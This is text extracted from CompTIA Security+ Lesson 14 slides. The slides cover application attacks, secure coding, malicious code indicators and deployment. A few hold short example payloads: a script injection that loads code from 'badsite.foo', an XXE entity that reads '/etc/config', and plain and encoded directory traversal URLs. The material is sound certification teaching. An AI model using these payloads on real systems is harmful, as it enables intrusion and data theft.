Sy0 601 14
Sy0 601 14
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 2
Syllabus Objectives Covered
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 3
Application Attacks
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 4
Overflow Vulnerabilities
• Buffer overflow
• Buffer is memory allocated to
application
• Overflows can allow arbitrary
code to execute
• Integer overflow
• Cause application to calculate
values that are out-of-bounds
• Could use to cause crash or
use in buffer overflow attack
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 5
Null Pointer Dereferencing and Race Conditions
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 6
Memory Leaks and Resource Exhaustion
• Memory leaks
• Process allocates memory locations, but never releases them
• Can cause host to run out of memory
• Could be faulty code or could be malicious
• Resource exhaustion
• CPU time, system memory allocation, fixed disk capacity, and
network utilization
• Spawning activity to use up these resources
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 7
DLL Injection and Driver Manipulation
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 8
Pass the Hash Attack
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 10
Syllabus Objectives Covered
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 11
Uniform Resource Locator Analysis
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 12
Application Programming Interface Attacks
https://webapp.foo/?Action=RunInstance&Id=123&Count=1&
InstanceAccessKey =MyInstanceAccessKey&Placement =us - east&
MyAuthorizationToken
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 13
Replay Attacks
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 14
Session Hijacking and Cross-site Request Forgery (1)
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 15
Session Hijacking and Cross-site Request Forgery (2)
• Clickjacking
• Add invisible layer to intercept/redirect click events
• SSL strip
• Exploits redirect from HTTP to HTTPS
• Sites should no longer be using plain HTTP
• HTTP Strict Transport Security (HSTS)
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 16
Cross-Site Scripting (XSS)
Check out this amazing <a
• Attacker injects code in trusted site href ="https://trusted.foo">website
that will be executed in client </a><script
browser src="https://badsite.foo/hook.js">
• Non-persistent/reflected </script>.
• Coded in a link that the user must
click
• Persistent/stored XSS
https://trusted.foo/messages#
• Injected into a database the site user=James%3Cscript%20src%3D%
uses to serve content 22https%3A%2F%2Fbadsite.foo%2
• Client-side scripts Fhook.js%22%3E%3C%2Fscript%3E
• Document Object Model (DOM)
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 17
Structured Query Language Injection Attacks
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 18
XML and LDAP Injection Attacks
<?xml version="1.0" encoding="UTF - 8"?>
• Extensible Markup Language
(XML) injection <!DOCTYPE foo [<!ELEMENT foo ANY
• XML tagged documents ><!ENTITY bar SYSTEM
"file:///etc/config"> ]>
• XML External Entity (XXE) to
exfiltrate data and files
<bar>&bar;</bar>
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 19
Directory Traversal and Command Injection Attacks
• Directory traversal
• Obtain access to files outside web site root directory
• Canonicalization attack and percent encoding
• Command injection
• Cause server to run OS shell commands
http://victim.foo/?show=../../../../etc/config
http://victim.foo/?show=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
etc/config
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 20
Server-side Request Forgery
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 22
Syllabus Objectives Covered
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 23
Secure Coding Techniques
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 24
Server-side versus Client-side Validation
• Client-side execution
• Code is run by the browser
• Document Object Model (DOM) scripting
• Might send a request to the server, but the request is constructed by the client
• Server-side execution
• Code is run by the server
• Client-side input validation
• Code is not running in a fully trusted environment
• Server-side input validation
• Might require complex transactions, slowing down process
• Both used together
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 25
Web Application Security
• Secure cookies
• Avoid using persistent cookies for session authentication
• Set the Secure attribute
• Set the HttpOnly attribute
• Use the SameSite attribute
• Response headers
• HTTP Strict Transport Security (HSTS)
• Content Security Policy (CSP)
• Cache-Control
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 26
Data Exposure and Memory Management
• Data exposure
• Allowing privileged data to be read without authorization
• Weak authentication/session management
• Lack of encryption
• Error handling
• Structured exception handler (SEH)
• Prevent use of error conditions for arbitrary code/injection
• Prevent display of default messages
• Memory management
• Use of unsecure functions
• Input validation and overflow protection
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 27
Secure Code Usage
• Code reuse
• Using a block of code in a different context
• Third-party libraries/DLLs
• Monitor shared libraries for known vulnerabilities and patches
• Software development kit (SDK)
• Sample code/libraries
• Stored procedures
• Pre-built functions for querying databases
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 28
Other Secure Coding Practices
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 29
Static Code Analysis
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 30
Dynamic Code Analysis
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 32
Syllabus Objectives Covered
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 33
Scripting
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 34
Python Script Environment
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 35
PowerShell Script Environment
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 37
Malicious Code Indicators
• Detection through monitoring platforms or host/process
behavior analysis
• Shellcode
• Creates a process or injects a DLL
• Credential dumping
• Dumps credentials from lsass.exe
• Lateral movement/insider attack
• Remote execution
• Persistence
• Registry autorun keys
• Services/scheduled tasks
• Windows Management Instrumentation (WMI) event
subscriptions
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 38
PowerShell Malicious Indicators
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 39
Bash and Python Malicious Indicators
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 40
Macros and Visual Basic for Applications (VBA)
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 41
Man-in-the-Browser Attack
• Compromise browser
• Inspect session data
• Change browser settings
• Perform redirection
• Perform code injection
• Malicious plug-
in/script/DLL
• Browser Exploitation
Framework (BeEF)
• Exploit kits
Screenshot: Browser Exploitation Framework (beefproject.com).
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 42
Topic 14E
Summarize Deployment and Automation Concepts
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 43
Syllabus Objectives Covered
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 44
Application Development, Deployment, and Automation
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 45
Secure Application Development Environments
Images © 123rf.com.
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 46
Provisioning, Deprovisioning, and Version Control
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 47
Automation/Scripting Release Paradigms
Images © 123rf.com.
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 48
Software Diversity
• Runtime environment
• Compiled code
• Interpreted code
• Software diversity as obfuscation
• Security by diversity
• Avoid monocultures to make attacks harder to develop
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 49
Lesson 14
Summary
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 50